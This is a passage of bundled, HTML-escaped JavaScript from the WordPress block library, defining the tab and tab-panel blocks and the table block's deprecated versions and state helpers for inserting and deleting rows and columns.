    __unstableLayoutClassNames: layoutClassNames
  }) {
    const focusRef = (0, import_element123.useRef)();
    const { anchor, label } = attributes2;
    const activeTabIndex = context[&quot;core/tabs-activeTabIndex&quot;] ?? 0;
    const editorActiveTabIndex = context[&quot;core/tabs-editorActiveTabIndex&quot;];
    const effectiveActiveIndex = editorActiveTabIndex ?? activeTabIndex;
    (0, import_element123.useEffect)(() =&gt; {
      return () =&gt; {
        if (focusRef.current) {
          cancelAnimationFrame(focusRef.current);
        }
      };
    }, []);
    const { blockIndex, hasInnerBlocksSelected, tabsClientId } = (0, import_data140.useSelect)(
      (select9) =&gt; {
        const {
          getBlockRootClientId,
          getBlockIndex,
          hasSelectedInnerBlock
        } = select9(import_block_editor250.store);
        const tabPanelClientId = getBlockRootClientId(clientId);
        const _tabsClientId = getBlockRootClientId(tabPanelClientId);
        const _blockIndex = getBlockIndex(clientId);
        const _hasInnerBlocksSelected = hasSelectedInnerBlock(
          clientId,
          true
        );
        return {
          blockIndex: _blockIndex,
          hasInnerBlocksSelected: _hasInnerBlocksSelected,
          tabsClientId: _tabsClientId
        };
      },
      [clientId]
    );
    const { updateBlockAttributes, __unstableMarkNextChangeAsNotPersistent } = (0, import_data140.useDispatch)(import_block_editor250.store);
    (0, import_element123.useEffect)(() =&gt; {
      const isTabSelected = isSelected || hasInnerBlocksSelected;
      if (isTabSelected &amp;&amp; tabsClientId &amp;&amp; effectiveActiveIndex !== blockIndex) {
        __unstableMarkNextChangeAsNotPersistent();
        updateBlockAttributes(tabsClientId, {
          editorActiveTabIndex: blockIndex
        });
      }
    }, [
      isSelected,
      hasInnerBlocksSelected,
      tabsClientId,
      effectiveActiveIndex,
      blockIndex,
      updateBlockAttributes,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const isActiveTab = effectiveActiveIndex === blockIndex;
    const isDefaultTab = activeTabIndex === blockIndex;
    const isSelectedTab = (0, import_element123.useMemo)(() =&gt; {
      if (isSelected || hasInnerBlocksSelected) {
        return true;
      }
      if (isActiveTab) {
        return true;
      }
      return false;
    }, [isSelected, hasInnerBlocksSelected, isActiveTab]);
    const tabPanelId = (0, import_element123.useMemo)(
      () =&gt; anchor || slugFromLabel(label, blockIndex),
      [anchor, label, blockIndex]
    );
    const tabLabelId = (0, import_element123.useMemo)(() =&gt; `${tabPanelId}--tab`, [tabPanelId]);
    const blockProps = (0, import_block_editor250.useBlockProps)({
      hidden: !isSelectedTab,
      &quot;aria-labelledby&quot;: tabLabelId,
      id: tabPanelId,
      role: &quot;tabpanel&quot;,
      tabIndex: isSelectedTab ? 0 : -1,
      className: clsx_default(&quot;wp-block-tab__editor-content&quot;, layoutClassNames)
    });
    const innerBlocksProps = (0, import_block_editor250.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE17
    });
    return /* @__PURE__ */ (0, import_jsx_runtime490.jsxs)(&quot;section&quot;, { ...innerBlocksProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime490.jsx)(
        Controls3,
        {
          tabsClientId,
          blockIndex,
          isDefaultTab
        }
      ),
      isSelectedTab &amp;&amp; innerBlocksProps.children
    ] });
  }

  // packages/block-library/build-module/tab/save.mjs
  var import_block_editor251 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime491 = __toESM(require_jsx_runtime(), 1);
  function save48({ attributes: attributes2 }) {
    const { anchor } = attributes2;
    const tabPanelId = anchor;
    const blockProps = import_block_editor251.useBlockProps.save({
      role: &quot;tabpanel&quot;
    });
    const innerBlocksProps = import_block_editor251.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime491.jsx)(&quot;section&quot;, { ...innerBlocksProps, id: tabPanelId });
  }

  // packages/block-library/build-module/tab/block.json
  var block_default104 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    __experimental: true,
    apiVersion: 3,
    name: &quot;core/tab&quot;,
    title: &quot;Tab&quot;,
    description: &quot;Content for a tab in a tabbed interface.&quot;,
    version: &quot;1.0.0&quot;,
    category: &quot;design&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;,
        default: &quot;&quot;
      }
    },
    parent: [&quot;core/tab-panel&quot;],
    usesContext: [
      &quot;core/tabs-activeTabIndex&quot;,
      &quot;core/tabs-editorActiveTabIndex&quot;
    ],
    supports: {
      anchor: true,
      html: false,
      reusable: false,
      color: {
        background: true,
        text: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      layout: true,
      spacing: {
        blockGap: true,
        padding: true,
        margin: false
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalDefaultControls: {
          fontSize: true,
          __experimentalFontFamily: true
        }
      },
      renaming: true
    },
    providesContext: {
      &quot;core/tab-label&quot;: &quot;label&quot;
    },
    editorScript: &quot;file:./index.js&quot;,
    style: &quot;file:./style-index.css&quot;
  };

  // packages/block-library/build-module/tab/index.mjs
  var { name: name105 } = block_default104;
  var settings104 = {
    icon: tab_default,
    edit: Edit19,
    save: save48
  };
  var init104 = () =&gt; initBlock({ name: name105, metadata: block_default104, settings: settings104 });

  // packages/block-library/build-module/tab-panel/index.mjs
  var tab_panel_exports = {};
  __export(tab_panel_exports, {
    init: () =&gt; init105,
    metadata: () =&gt; block_default105,
    name: () =&gt; name106,
    settings: () =&gt; settings105
  });

  // packages/block-library/build-module/tab-panel/edit.mjs
  var import_block_editor252 = __toESM(require_block_editor(), 1);
  var import_data141 = __toESM(require_data(), 1);
  var import_jsx_runtime492 = __toESM(require_jsx_runtime(), 1);
  var TAB_PANELS_TEMPLATE = [[&quot;core/tab&quot;, {}]];
  function Edit20({ clientId }) {
    const blockProps = (0, import_block_editor252.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor252.useInnerBlocksProps)(blockProps, {
      template: TAB_PANELS_TEMPLATE,
      templateLock: false,
      renderAppender: false
      // Appender handled by individual tab blocks
    });
    const tabsClientId = (0, import_data141.useSelect)(
      (select9) =&gt; {
        const { getBlockRootClientId } = select9(import_block_editor252.store);
        return getBlockRootClientId(clientId);
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime492.jsxs)(import_jsx_runtime492.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime492.jsx)(AddTabToolbarControl, { tabsClientId }),
      /* @__PURE__ */ (0, import_jsx_runtime492.jsx)(RemoveTabToolbarControl, { tabsClientId }),
      /* @__PURE__ */ (0, import_jsx_runtime492.jsx)(&quot;div&quot;, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/tab-panel/save.mjs
  var import_block_editor253 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime493 = __toESM(require_jsx_runtime(), 1);
  function save49() {
    const blockProps = import_block_editor253.useBlockProps.save();
    const innerBlocksProps = import_block_editor253.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime493.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/tab-panel/block.json
  var block_default105 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    __experimental: true,
    apiVersion: 3,
    name: &quot;core/tab-panel&quot;,
    title: &quot;Tab Panel&quot;,
    description: &quot;Container for tab panel content in a tabbed interface.&quot;,
    version: &quot;1.0.0&quot;,
    category: &quot;design&quot;,
    textdomain: &quot;default&quot;,
    parent: [&quot;core/tabs&quot;],
    allowedBlocks: [&quot;core/tab&quot;],
    attributes: {},
    supports: {
      anchor: false,
      html: false,
      reusable: false,
      lock: false,
      dimensions: {
        aspectRatio: false,
        height: false,
        minHeight: false,
        width: false
      },
      color: {
        background: true,
        text: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        blockGap: false,
        padding: true,
        margin: true
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true
      },
      layout: {
        default: {
          type: &quot;flex&quot;,
          flexWrap: &quot;nowrap&quot;,
          justifyContent: &quot;stretch&quot;,
          orientation: &quot;vertical&quot;
        },
        allowSwitching: false,
        allowVerticalAlignment: false,
        allowOrientation: false,
        allowJustification: true,
        allowSizingOnChildren: false
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    editorScript: &quot;file:./index.js&quot;,
    style: &quot;file:./style-index.css&quot;
  };

  // packages/block-library/build-module/tab-panel/index.mjs
  var { name: name106 } = block_default105;
  var settings105 = {
    icon: contents_default,
    edit: Edit20,
    save: save49
  };
  var init105 = () =&gt; initBlock({ name: name106, metadata: block_default105, settings: settings105 });

  // packages/block-library/build-module/table/index.mjs
  var table_exports = {};
  __export(table_exports, {
    init: () =&gt; init106,
    metadata: () =&gt; block_default106,
    name: () =&gt; name107,
    settings: () =&gt; settings106
  });
  var import_i18n239 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/table/deprecated.mjs
  var import_block_editor254 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime494 = __toESM(require_jsx_runtime(), 1);
  var oldColors = {
    &quot;subtle-light-gray&quot;: &quot;#f3f4f5&quot;,
    &quot;subtle-pale-green&quot;: &quot;#e9fbe5&quot;,
    &quot;subtle-pale-blue&quot;: &quot;#e7f5fe&quot;,
    &quot;subtle-pale-pink&quot;: &quot;#fcf0ef&quot;
  };
  var v4Query = {
    content: {
      type: &quot;rich-text&quot;,
      source: &quot;rich-text&quot;
    },
    tag: {
      type: &quot;string&quot;,
      default: &quot;td&quot;,
      source: &quot;tag&quot;
    },
    scope: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;scope&quot;
    },
    align: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;data-align&quot;
    },
    colspan: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;colspan&quot;
    },
    rowspan: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;rowspan&quot;
    }
  };
  var v411 = {
    attributes: {
      hasFixedLayout: {
        type: &quot;boolean&quot;,
        default: false
      },
      caption: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;figcaption&quot;
      },
      head: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;thead tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v4Query
          }
        }
      },
      body: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tbody tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v4Query
          }
        }
      },
      foot: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tfoot tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v4Query
          }
        }
      }
    },
    supports: {
      anchor: true,
      align: true,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        __experimentalSkipSerialization: true,
        color: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          style: true,
          width: true
        }
      },
      __experimentalSelector: &quot;.wp-block-table &gt; table&quot;,
      interactivity: {
        clientNavigation: true
      }
    },
    save({ attributes: attributes2 }) {
      const { hasFixedLayout, head, body, foot, caption } = attributes2;
      const isEmpty = !head.length &amp;&amp; !body.length &amp;&amp; !foot.length;
      if (isEmpty) {
        return null;
      }
      const colorProps = (0, import_block_editor254.__experimentalGetColorClassesAndStyles)(attributes2);
      const borderProps = (0, import_block_editor254.__experimentalGetBorderClassesAndStyles)(attributes2);
      const classes = clsx_default(colorProps.className, borderProps.className, {
        &quot;has-fixed-layout&quot;: hasFixedLayout
      });
      const hasCaption = !import_block_editor254.RichText.isEmpty(caption);
      const Section = ({ type, rows }) =&gt; {
        if (!rows.length) {
          return null;
        }
        const Tag = `t${type}`;
        return /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) =&gt; /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(&quot;tr&quot;, { children: cells.map(
          ({
            content,
            tag,
            scope,
            align,
            colspan,
            rowspan
          }, cellIndex) =&gt; {
            const cellClasses = clsx_default({
              [`has-text-align-${align}`]: align
            });
            return /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(
              import_block_editor254.RichText.Content,
              {
                className: cellClasses ? cellClasses : void 0,
                &quot;data-align&quot;: align,
                tagName: tag,
                value: content,
                scope: tag === &quot;th&quot; ? scope : void 0,
                colSpan: colspan,
                rowSpan: rowspan
              },
              cellIndex
            );
          }
        ) }, rowIndex)) });
      };
      return /* @__PURE__ */ (0, import_jsx_runtime494.jsxs)(&quot;figure&quot;, { ...import_block_editor254.useBlockProps.save(), children: [
        /* @__PURE__ */ (0, import_jsx_runtime494.jsxs)(
          &quot;table&quot;,
          {
            className: classes === &quot;&quot; ? void 0 : classes,
            style: { ...colorProps.style, ...borderProps.style },
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;head&quot;, rows: head }),
              /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;body&quot;, rows: body }),
              /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;foot&quot;, rows: foot })
            ]
          }
        ),
        hasCaption &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(
          import_block_editor254.RichText.Content,
          {
            tagName: &quot;figcaption&quot;,
            value: caption,
            className: (0, import_block_editor254.__experimentalGetElementClassName)(
              &quot;caption&quot;
            )
          }
        )
      ] });
    }
  };
  var v3Query = {
    content: {
      type: &quot;string&quot;,
      source: &quot;html&quot;
    },
    tag: {
      type: &quot;string&quot;,
      default: &quot;td&quot;,
      source: &quot;tag&quot;
    },
    scope: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;scope&quot;
    },
    align: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;data-align&quot;
    }
  };
  var v312 = {
    attributes: {
      hasFixedLayout: {
        type: &quot;boolean&quot;,
        default: false
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;figcaption&quot;,
        default: &quot;&quot;
      },
      head: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;thead tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v3Query
          }
        }
      },
      body: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tbody tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v3Query
          }
        }
      },
      foot: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tfoot tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v3Query
          }
        }
      }
    },
    supports: {
      anchor: true,
      align: true,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        __experimentalSkipSerialization: true,
        color: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          style: true,
          width: true
        }
      },
      __experimentalSelector: &quot;.wp-block-table &gt; table&quot;
    },
    save({ attributes: attributes2 }) {
      const { hasFixedLayout, head, body, foot, caption } = attributes2;
      const isEmpty = !head.length &amp;&amp; !body.length &amp;&amp; !foot.length;
      if (isEmpty) {
        return null;
      }
      const colorProps = (0, import_block_editor254.__experimentalGetColorClassesAndStyles)(attributes2);
      const borderProps = (0, import_block_editor254.__experimentalGetBorderClassesAndStyles)(attributes2);
      const classes = clsx_default(colorProps.className, borderProps.className, {
        &quot;has-fixed-layout&quot;: hasFixedLayout
      });
      const hasCaption = !import_block_editor254.RichText.isEmpty(caption);
      const Section = ({ type, rows }) =&gt; {
        if (!rows.length) {
          return null;
        }
        const Tag = `t${type}`;
        return /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) =&gt; /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(&quot;tr&quot;, { children: cells.map(
          ({ content, tag, scope, align }, cellIndex) =&gt; {
            const cellClasses = clsx_default({
              [`has-text-align-${align}`]: align
            });
            return /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(
              import_block_editor254.RichText.Content,
              {
                className: cellClasses ? cellClasses : void 0,
                &quot;data-align&quot;: align,
                tagName: tag,
                value: content,
                scope: tag === &quot;th&quot; ? scope : void 0
              },
              cellIndex
            );
          }
        ) }, rowIndex)) });
      };
      return /* @__PURE__ */ (0, import_jsx_runtime494.jsxs)(&quot;figure&quot;, { ...import_block_editor254.useBlockProps.save(), children: [
        /* @__PURE__ */ (0, import_jsx_runtime494.jsxs)(
          &quot;table&quot;,
          {
            className: classes === &quot;&quot; ? void 0 : classes,
            style: { ...colorProps.style, ...borderProps.style },
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;head&quot;, rows: head }),
              /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;body&quot;, rows: body }),
              /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;foot&quot;, rows: foot })
            ]
          }
        ),
        hasCaption &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(import_block_editor254.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
    }
  };
  var v2Query = {
    content: {
      type: &quot;string&quot;,
      source: &quot;html&quot;
    },
    tag: {
      type: &quot;string&quot;,
      default: &quot;td&quot;,
      source: &quot;tag&quot;
    },
    scope: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;scope&quot;
    },
    align: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;data-align&quot;
    }
  };
  var v218 = {
    attributes: {
      hasFixedLayout: {
        type: &quot;boolean&quot;,
        default: false
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;figcaption&quot;,
        default: &quot;&quot;
      },
      head: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;thead tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v2Query
          }
        }
      },
      body: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tbody tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v2Query
          }
        }
      },
      foot: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tfoot tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v2Query
          }
        }
      }
    },
    supports: {
      anchor: true,
      align: true,
      __experimentalSelector: &quot;.wp-block-table &gt; table&quot;
    },
    save: ({ attributes: attributes2 }) =&gt; {
      const { hasFixedLayout, head, body, foot, backgroundColor, caption } = attributes2;
      const isEmpty = !head.length &amp;&amp; !body.length &amp;&amp; !foot.length;
      if (isEmpty) {
        return null;
      }
      const backgroundClass = (0, import_block_editor254.getColorClassName)(
        &quot;background-color&quot;,
        backgroundColor
      );
      const classes = clsx_default(backgroundClass, {
        &quot;has-fixed-layout&quot;: hasFixedLayout,
        &quot;has-background&quot;: !!backgroundClass
      });
      const hasCaption = !import_block_editor254.RichText.isEmpty(caption);
      const Section = ({ type, rows }) =&gt; {
        if (!rows.length) {
          return null;
        }
        const Tag = `t${type}`;
        return /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) =&gt; /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(&quot;tr&quot;, { children: cells.map(
          ({ content, tag, scope, align }, cellIndex) =&gt; {
            const cellClasses = clsx_default({
              [`has-text-align-${align}`]: align
            });
            return /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(
              import_block_editor254.RichText.Content,
              {
                className: cellClasses ? cellClasses : void 0,
                &quot;data-align&quot;: align,
                tagName: tag,
                value: content,
                scope: tag === &quot;th&quot; ? scope : void 0
              },
              cellIndex
            );
          }
        ) }, rowIndex)) });
      };
      return /* @__PURE__ */ (0, import_jsx_runtime494.jsxs)(&quot;figure&quot;, { ...import_block_editor254.useBlockProps.save(), children: [
        /* @__PURE__ */ (0, import_jsx_runtime494.jsxs)(&quot;table&quot;, { className: classes === &quot;&quot; ? void 0 : classes, children: [
          /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;head&quot;, rows: head }),
          /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;body&quot;, rows: body }),
          /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;foot&quot;, rows: foot })
        ] }),
        hasCaption &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(import_block_editor254.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
    },
    isEligible: (attributes2) =&gt; {
      return attributes2.backgroundColor &amp;&amp; attributes2.backgroundColor in oldColors &amp;&amp; !attributes2.style;
    },
    // This version is the first to introduce the style attribute to the
    // table block. As a result, we&#039;ll explicitly override that.
    migrate: (attributes2) =&gt; {
      return {
        ...attributes2,
        backgroundColor: void 0,
        style: {
          color: {
            background: oldColors[attributes2.backgroundColor]
          }
        }
      };
    }
  };
  var v1Query = {
    content: {
      type: &quot;string&quot;,
      source: &quot;html&quot;
    },
    tag: {
      type: &quot;string&quot;,
      default: &quot;td&quot;,
      source: &quot;tag&quot;
    },
    scope: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      attribute: &quot;scope&quot;
    }
  };
  var v144 = {
    attributes: {
      hasFixedLayout: {
        type: &quot;boolean&quot;,
        default: false
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      head: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;thead tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v1Query
          }
        }
      },
      body: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tbody tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v1Query
          }
        }
      },
      foot: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tfoot tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: v1Query
          }
        }
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const { hasFixedLayout, head, body, foot, backgroundColor } = attributes2;
      const isEmpty = !head.length &amp;&amp; !body.length &amp;&amp; !foot.length;
      if (isEmpty) {
        return null;
      }
      const backgroundClass = (0, import_block_editor254.getColorClassName)(
        &quot;background-color&quot;,
        backgroundColor
      );
      const classes = clsx_default(backgroundClass, {
        &quot;has-fixed-layout&quot;: hasFixedLayout,
        &quot;has-background&quot;: !!backgroundClass
      });
      const Section = ({ type, rows }) =&gt; {
        if (!rows.length) {
          return null;
        }
        const Tag = `t${type}`;
        return /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) =&gt; /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(&quot;tr&quot;, { children: cells.map(
          ({ content, tag, scope }, cellIndex) =&gt; /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(
            import_block_editor254.RichText.Content,
            {
              tagName: tag,
              value: content,
              scope: tag === &quot;th&quot; ? scope : void 0
            },
            cellIndex
          )
        ) }, rowIndex)) });
      };
      return /* @__PURE__ */ (0, import_jsx_runtime494.jsxs)(&quot;table&quot;, { className: classes, children: [
        /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;head&quot;, rows: head }),
        /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;body&quot;, rows: body }),
        /* @__PURE__ */ (0, import_jsx_runtime494.jsx)(Section, { type: &quot;foot&quot;, rows: foot })
      ] });
    }
  };
  var deprecated_default50 = [v411, v312, v218, v144];

  // packages/block-library/build-module/table/edit.mjs
  var import_element124 = __toESM(require_element(), 1);
  var import_block_editor255 = __toESM(require_block_editor(), 1);
  var import_i18n238 = __toESM(require_i18n(), 1);
  var import_components158 = __toESM(require_components(), 1);

  // packages/block-library/build-module/table/state.mjs
  var INHERITED_COLUMN_ATTRIBUTES = [&quot;align&quot;];
  function createTable({ rowCount, columnCount }) {
    return {
      body: Array.from({ length: rowCount }).map(() =&gt; ({
        cells: Array.from({ length: columnCount }).map(() =&gt; ({
          content: &quot;&quot;,
          tag: &quot;td&quot;
        }))
      }))
    };
  }
  function getFirstRow(state) {
    if (!isEmptyTableSection(state.head)) {
      return state.head[0];
    }
    if (!isEmptyTableSection(state.body)) {
      return state.body[0];
    }
    if (!isEmptyTableSection(state.foot)) {
      return state.foot[0];
    }
  }
  function getCellAttribute(state, cellLocation, attributeName) {
    const { sectionName, rowIndex, columnIndex } = cellLocation;
    return state[sectionName]?.[rowIndex]?.cells?.[columnIndex]?.[attributeName];
  }
  function updateSelectedCell(state, selection, updateCell) {
    if (!selection) {
      return state;
    }
    const tableSections = Object.fromEntries(
      Object.entries(state).filter(
        ([key]) =&gt; [&quot;head&quot;, &quot;body&quot;, &quot;foot&quot;].includes(key)
      )
    );
    const { sectionName: selectionSectionName, rowIndex: selectionRowIndex } = selection;
    return Object.fromEntries(
      Object.entries(tableSections).map(([sectionName, section]) =&gt; {
        if (selectionSectionName &amp;&amp; selectionSectionName !== sectionName) {
          return [sectionName, section];
        }
        return [
          sectionName,
          section.map((row, rowIndex) =&gt; {
            if (selectionRowIndex &amp;&amp; selectionRowIndex !== rowIndex) {
              return row;
            }
            return {
              cells: row.cells.map(
                (cellAttributes, columnIndex) =&gt; {
                  const cellLocation = {
                    sectionName,
                    columnIndex,
                    rowIndex
                  };
                  if (!isCellSelected(cellLocation, selection)) {
                    return cellAttributes;
                  }
                  return updateCell(cellAttributes);
                }
              )
            };
          })
        ];
      })
    );
  }
  function isCellSelected(cellLocation, selection) {
    if (!cellLocation || !selection) {
      return false;
    }
    switch (selection.type) {
      case &quot;column&quot;:
        return selection.type === &quot;column&quot; &amp;&amp; cellLocation.columnIndex === selection.columnIndex;
      case &quot;cell&quot;:
        return selection.type === &quot;cell&quot; &amp;&amp; cellLocation.sectionName === selection.sectionName &amp;&amp; cellLocation.columnIndex === selection.columnIndex &amp;&amp; cellLocation.rowIndex === selection.rowIndex;
    }
  }
  function insertRow(state, { sectionName, rowIndex, columnCount }) {
    const firstRow = getFirstRow(state);
    const cellCount = columnCount === void 0 ? firstRow?.cells?.length : columnCount;
    if (!cellCount) {
      return state;
    }
    return {
      [sectionName]: [
        ...state[sectionName].slice(0, rowIndex),
        {
          cells: Array.from({ length: cellCount }).map(
            (_, index) =&gt; {
              const firstCellInColumn = firstRow?.cells?.[index] ?? {};
              const inheritedAttributes = Object.fromEntries(
                Object.entries(firstCellInColumn).filter(
                  ([key]) =&gt; INHERITED_COLUMN_ATTRIBUTES.includes(key)
                )
              );
              return {
                ...inheritedAttributes,
                content: &quot;&quot;,
                tag: sectionName === &quot;head&quot; ? &quot;th&quot; : &quot;td&quot;
              };
            }
          )
        },
        ...state[sectionName].slice(rowIndex)
      ]
    };
  }
  function deleteRow(state, { sectionName, rowIndex }) {
    return {
      [sectionName]: state[sectionName].filter(
        (row, index) =&gt; index !== rowIndex
      )
    };
  }
  function insertColumn(state, { columnIndex }) {
    const tableSections = Object.fromEntries(
      Object.entries(state).filter(
        ([key]) =&gt; [&quot;head&quot;, &quot;body&quot;, &quot;foot&quot;].includes(key)
      )
    );
    return Object.fromEntries(
      Object.entries(tableSections).map(([sectionName, section]) =&gt; {
        if (isEmptyTableSection(section)) {
          return [sectionName, section];
        }
        return [
          sectionName,
          section.map((row) =&gt; {
            if (isEmptyRow(row) || row.cells.length &lt; columnIndex) {
              return row;
            }
            return {
              cells: [
                ...row.cells.slice(0, columnIndex),
                {
                  content: &quot;&quot;,
